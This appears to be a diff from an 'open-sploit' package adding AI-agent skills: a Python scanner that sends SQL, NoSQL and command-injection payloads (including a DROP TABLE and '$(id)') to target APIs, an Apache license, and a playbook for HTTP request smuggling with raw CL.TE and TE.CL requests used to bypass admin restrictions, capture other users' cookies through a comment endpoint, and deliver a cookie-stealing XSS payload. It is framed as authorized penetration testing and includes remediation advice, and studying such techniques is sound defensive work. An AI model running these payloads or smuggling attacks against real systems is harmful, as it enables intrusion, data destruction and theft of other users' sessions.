open-sploit 1.2.0

package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py

@@ -0,0 +1,142 @@
+#!/usr/bin/env python3
+"""Agent for testing API injection vulnerabilities (SQL, NoSQL, command injection)."""
+
+import argparse
+import json
+import urllib.parse
+from datetime import datetime, timezone
+
+try:
+    import requests
+    HAS_REQUESTS = True
+except ImportError:
+    HAS_REQUESTS = False
+
+
+SQL_PAYLOADS = [
+    "' OR '1'='1", "' OR 1=1--", "'; DROP TABLE users;--",
+    "' UNION SELECT NULL,NULL--", "1' AND SLEEP(5)--",
+    "admin'--", "' OR ''='",
+]
+
+NOSQL_PAYLOADS = [
+    '{"$gt":""}', '{"$ne":""}', '{"$regex":".*"}',
+    '{"$where":"sleep(5000)"}',
+]
+
+COMMAND_INJECTION_PAYLOADS = [
+    "; id", "| whoami", "$(id)", "`id`",
+    "; sleep 5", "| sleep 5",
+]
+
+ERROR_SIGNATURES = {
+    "sql": ["sql syntax", "mysql", "postgresql", "sqlite", "ora-", "mssql",
+            "unclosed quotation", "quoted string not properly terminated"],
+    "nosql": ["bson", "mongodb", "mongoerror", "json parse error"],
+    "command": ["sh:", "bash:", "/bin/", "command not found", "uid="],
+}
+
+
+def test_parameter(url, param_name, param_value, payloads, method="GET", headers=None):
+    """Test a single parameter with injection payloads."""
+    if not HAS_REQUESTS:
+        return []
+    findings = []
+    baseline_url = f"{url}?{param_name}={urllib.parse.quote(param_value)}"
+    try:
+        baseline = requests.get(baseline_url, headers=headers, timeout=10, verify=False)
+        baseline_len = len(baseline.text)
+        baseline_time = baseline.elapsed.total_seconds()
+    except requests.RequestException:
+        return findings
+
+    for payload in payloads:
+        test_value = urllib.parse.quote(payload)
+        try:
+            if method == "GET":
+                test_url = f"{url}?{param_name}={test_value}"
+                resp = requests.get(test_url, headers=headers, timeout=15, verify=False)
+            else:
+                data = {param_name: payload}
+                resp = requests.post(url, json=data, headers=headers, timeout=15, verify=False)
+
+            resp_text = resp.text.lower()
+            indicators = []
+
+            for category, sigs in ERROR_SIGNATURES.items():
+                for sig in sigs:
+                    if sig in resp_text:
+                        indicators.append(f"{category}_error: {sig}")
+
+            if abs(len(resp.text) - baseline_len) > baseline_len * 0.5 and baseline_len > 0:
+                indicators.append(f"Response size anomaly: {baseline_len} -> {len(resp.text)}")
+
+            if resp.elapsed.total_seconds() > baseline_time + 4:
+                indicators.append(f"Time-based: {resp.elapsed.total_seconds():.1f}s vs baseline {baseline_time:.1f}s")
+
+            if indicators:
+                findings.append({
+                    "parameter": param_name,
+                    "payload": payload,
+                    "status_code": resp.status_code,
+                    "indicators": indicators,
+                })
+        except requests.RequestException:
+            continue
+    return findings
+
+
+def scan_api_endpoint(url, params, method="GET", headers=None):
+    """Scan an API endpoint with all injection categories."""
+    all_findings = []
+    for param_name, param_value in params.items():
+        all_findings.extend(test_parameter(url, param_name, param_value, SQL_PAYLOADS, method, headers))
+        all_findings.extend(test_parameter(url, param_name, param_value, NOSQL_PAYLOADS, method, headers))
+        all_findings.extend(test_parameter(url, param_name, param_value, COMMAND_INJECTION_PAYLOADS, method, headers))
+    return all_findings
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description="Test API endpoints for injection vulnerabilities (authorized testing only)"
+    )
+    parser.add_argument("--url", required=True, help="Target API endpoint URL")
+    parser.add_argument("--params", required=True, help="Parameters as key=value,key2=value2")
+    parser.add_argument("--method", default="GET", choices=["GET", "POST"])
+    parser.add_argument("--header", nargs="*", help="Custom headers as Key:Value")
+    parser.add_argument("--output", "-o", help="Output JSON report")
+    args = parser.parse_args()
+
+    print("[*] API Injection Testing Agent")
+    print("[!] For authorized security testing only")
+
+    params = dict(p.split("=", 1) for p in args.params.split(","))
+    headers = {}
+    if args.header:
+        for h in args.header:
+            k, _, v = h.partition(":")
+            headers[k.strip()] = v.strip()
+
+    findings = scan_api_endpoint(args.url, params, args.method, headers or None)
+
+    report = {
+        "timestamp": datetime.now(timezone.utc).isoformat(),
+        "target": args.url,
+        "parameters_tested": list(params.keys()),
+        "findings": findings,
+        "vulnerability_count": len(findings),
+        "risk_level": "CRITICAL" if findings else "LOW",
+    }
+
+    print(f"[*] Tested {len(params)} parameters, found {len(findings)} potential injections")
+
+    if args.output:
+        with open(args.output, "w") as f:
+            json.dump(report, f, indent=2)
+        print(f"[*] Report saved to {args.output}")
+    else:
+        print(json.dumps(report, indent=2))
+
+
+if __name__ == "__main__":
+    main()

package/template/skills/exploiting-http-request-smuggling/LICENSE

@@ -0,0 +1,201 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to the Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding any notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. Please do not remove or change
+      the license header comment from a contributed file except when
+      necessary.
+
+   Copyright 2026 mukul975
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/template/skills/exploiting-http-request-smuggling/SKILL.md

@@ -0,0 +1,343 @@
+---
+name: exploiting-http-request-smuggling
+description: Detecting and exploiting HTTP request smuggling vulnerabilities caused
+  by Content-Length and Transfer-Encoding parsing discrepancies between front-end
+  and back-end servers.
+domain: cybersecurity
+subdomain: web-application-security
+tags:
+- penetration-testing
+- request-smuggling
+- http-desync
+- web-security
+- burpsuite
+- owasp
+version: '1.0'
+author: mahipal
+license: Apache-2.0
+nist_csf:
+- PR.PS-01
+- ID.RA-01
+- PR.DS-10
+- DE.CM-01
+mitre_attack:
+- T1190
+- T1059.007
+- T1505.003
+- T1083
+---
+
+# Exploiting HTTP Request Smuggling
+
+## When to Use
+
+- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
+- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
+- For assessing applications for HTTP desynchronization vulnerabilities
+- When other attack vectors are limited and you need to bypass front-end security controls
+- During security assessments of multi-tier web architectures
+
+## Prerequisites
+
+- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
+- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)
+- **smuggler.py**: Automated HTTP request smuggling detection tool
+- **curl**: Compiled with HTTP/1.1 support and manual chunked encoding
+- **Target architecture knowledge**: Understanding of proxy/server chain (front-end and back-end)
+- **Caution**: Request smuggling can affect other users' requests; test carefully
+
+## Workflow
+
+### Step 1: Identify the HTTP Architecture
+
+Determine the proxy/server chain and HTTP parsing characteristics.
+
+```bash
+# Identify front-end proxy/CDN
+curl -s -I "https://target.example.com/" | grep -iE \
+  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"
+
+# Common architectures:
+# Cloudflare → Nginx → Application
+# AWS ALB → Apache → Application
+# HAProxy → Gunicorn → Python app
+# Nginx → Node.js/Express
+# Akamai → IIS → .NET app
+
+# Check HTTP version support
+curl -s -I --http1.1 "https://target.example.com/" | head -1
+curl -s -I --http2 "https://target.example.com/" | head -1
+
+# Check if Transfer-Encoding is supported
+curl -s -X POST \
+  -H "Transfer-Encoding: chunked" \
+  -H "Content-Type: application/x-www-form-urlencoded" \
+  -d "0\r\n\r\n" \
+  "https://target.example.com/" -w "%{http_code}"
+
+# Check for HTTP/2 downgrade to HTTP/1.1 on backend
+# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
+```
+
+### Step 2: Test for CL.TE Smuggling
+
+The front-end uses Content-Length, the back-end uses Transfer-Encoding.
+
+```
+# In Burp Suite Repeater, disable "Update Content-Length" option
+# Send the following request manually:
+
+POST / HTTP/1.1
+Host: target.example.com
+Content-Length: 13
+Transfer-Encoding: chunked
+
+0
+
+SMUGGLED
+
+# If vulnerable (CL.TE):
+# Front-end reads 13 bytes (Content-Length), forwards entire request
+# Back-end reads chunked: "0\r\n\r\n" = end of body
+# "SMUGGLED" becomes the start of the next request
+
+# Detection technique: Time-based
+# If back-end reads chunked and sees incomplete chunk, it waits:
+
+POST / HTTP/1.1
+Host: target.example.com
+Content-Length: 4
+Transfer-Encoding: chunked
+
+1
+A
+X
+
+# If response is delayed (~5-10 seconds), CL.TE is likely
+```
+
+### Step 3: Test for TE.CL Smuggling
+
+The front-end uses Transfer-Encoding, the back-end uses Content-Length.
+
+```
+# Burp Repeater - disable "Update Content-Length"
+
+POST / HTTP/1.1
+Host: target.example.com
+Content-Length: 3
+Transfer-Encoding: chunked
+
+8
+SMUGGLED
+0
+
+
+# If vulnerable (TE.CL):
+# Front-end reads chunked: chunk "SMUGGLED" + final "0"
+# Back-end reads 3 bytes of Content-Length: "8\r\n"
+# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
+
+# Detection via differential response:
+POST / HTTP/1.1
+Host: target.example.com
+Content-Length: 6
+Transfer-Encoding: chunked
+
+0
+
+X
+
+# Front-end (TE): reads "0\r\n\r\n", sees end
+# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
+# Next request gets "X" prepended, causing 400/405 errors
+```
+
+### Step 4: Use Automated Detection Tools
+
+Run automated scanners to detect smuggling variants.
+
+```bash
+# Using smuggler.py
+git clone https://github.com/defparam/smuggler.git
+cd smuggler
+python3 smuggler.py -u "https://target.example.com/" -m GET POST
+
+# Using Burp HTTP Request Smuggler extension
+# 1. Install from BApp Store: "HTTP Request Smuggler"
+# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
+# 3. Check Scanner > Issue Activity for results
+
+# Using h2csmuggler for HTTP/2 smuggling
+# git clone https://github.com/BishopFox/h2cSmuggler.git
+python3 h2csmuggler.py -x "https://target.example.com/" \
+  "https://target.example.com/admin"
+
+# Manual detection with Turbo Intruder
+# Send paired requests with different timing
+# First request: smuggling prefix
+# Second request: normal request that gets affected
+```
+
+### Step 5: Exploit Request Smuggling for Impact
+
+Leverage confirmed smuggling for practical attacks.
+
+```
+# Attack 1: Bypass front-end access controls
+# Access /admin which is blocked by the front-end proxy
+
+# CL.TE exploit:
+POST / HTTP/1.1
+Host: target.example.com
+Content-Length: 56
+Transfer-Encoding: chunked
+
+0
+
+GET /admin HTTP/1.1
+Host: target.example.com
+Foo: x
+
+# The smuggled "GET /admin" request bypasses front-end restrictions
+# because it's processed by the back-end directly
+
+# Attack 2: Capture other users' requests
+# Smuggle a request that stores the next user's request in a visible location
+
+POST / HTTP/1.1
+Host: target.example.com
+Content-Length: 130
+Transfer-Encoding: chunked
+
+0
+
+POST /api/comments HTTP/1.1
+Host: target.example.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 400
+
+body=
+
+# The next legitimate user's request gets appended to "body="
+# and stored as a comment, exposing their cookies and headers
+
+# Attack 3: Reflected XSS escalation
+# Smuggle a request that will reflect XSS in the next response
+
+POST / HTTP/1.1
+Host: target.example.com
+Content-Length: 150
+Transfer-Encoding: chunked
+
+0
+
+GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
+Host: target.example.com
+Content-Length: 10
+Foo: x
+
+# Next user receives the XSS response instead of their expected response
+```
+
+### Step 6: Test HTTP/2 Request Smuggling
+
+Assess HTTP/2 specific smuggling vectors.
+
+```
+# HTTP/2 smuggling via CRLF injection in headers
+# HTTP/2 should reject \r\n in header values, but some proxies don't
+
+# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
+# Send HTTP/2 request with mismatched :path and content
+
+# Using Burp Suite with HTTP/2 support:
+# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
+# 2. Craft request with conflicting CL header
+
+# HTTP/2 header injection
+# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
+# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2
+
+# Test HTTP/2 request tunneling
+# If front-end reuses HTTP/2 connections for multiple users:
+# Poison the connection to affect subsequent requests
+
+# H2.TE smuggling via HTTP/2 CONNECT
+# Use CONNECT method in HTTP/2 to establish tunnels
+# that bypass front-end security controls
+```
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |
+| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |
+| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |
+| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |
+| **Request Splitting** | One HTTP request is interpreted as two separate requests |
+| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |
+| **H2.CL Smuggling** | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy |
+
+## Tools & Systems
+
+| Tool | Purpose |
+|------|---------|
+| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |
+| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |
+| **smuggler.py** | Python-based automated HTTP request smuggling scanner |
+| **h2cSmuggler** | HTTP/2 cleartext smuggling tool from Bishop Fox |
+| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |
+| **curl** | Manual HTTP request crafting with precise byte control |
+
+## Common Scenarios
+
+### Scenario 1: Admin Panel Access Bypass
+The front-end proxy blocks `/admin` requests. A CL.TE smuggling attack prepends `GET /admin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.
+
+### Scenario 2: Cookie Theft via Request Capture
+A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.
+
+### Scenario 3: Cache Poisoning via Smuggling
+A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.
+
+### Scenario 4: HTTP/2 Desync on CDN
+The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.
+
+## Output Format
+
+```
+## HTTP Request Smuggling Finding
+
+**Vulnerability**: CL.TE HTTP Request Smuggling
+**Severity**: Critical (CVSS 9.1)
+**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
+**OWASP Category**: A05:2021 - Security Misconfiguration
+
+### Architecture
+Front-end: Cloudflare (Content-Length priority)
+Back-end: Gunicorn (Transfer-Encoding priority)
+Protocol: HTTP/1.1 between proxy and origin
+
+### Reproduction Steps
+1. Send POST request with both Content-Length and Transfer-Encoding headers
+2. Content-Length set to include smuggled request prefix
+3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
+4. Smuggled data becomes prefix of next back-end request
+
+### Confirmed Exploits
+| Exploit | Impact |
+|---------|--------|
+| Admin bypass | Accessed /admin without authentication |
+| Request capture | Stole session cookies from other users |
+| XSS escalation | Delivered reflected XSS to arbitrary users |
+| Cache poisoning | Poisoned CDN cache with malicious response |
+
+### Recommendation
+1. Ensure front-end and back-end use the same HTTP parsing behavior
+2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
+3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
+4. Use HTTP/2 between proxy and origin server
+5. Normalize requests at the front-end before forwarding
+```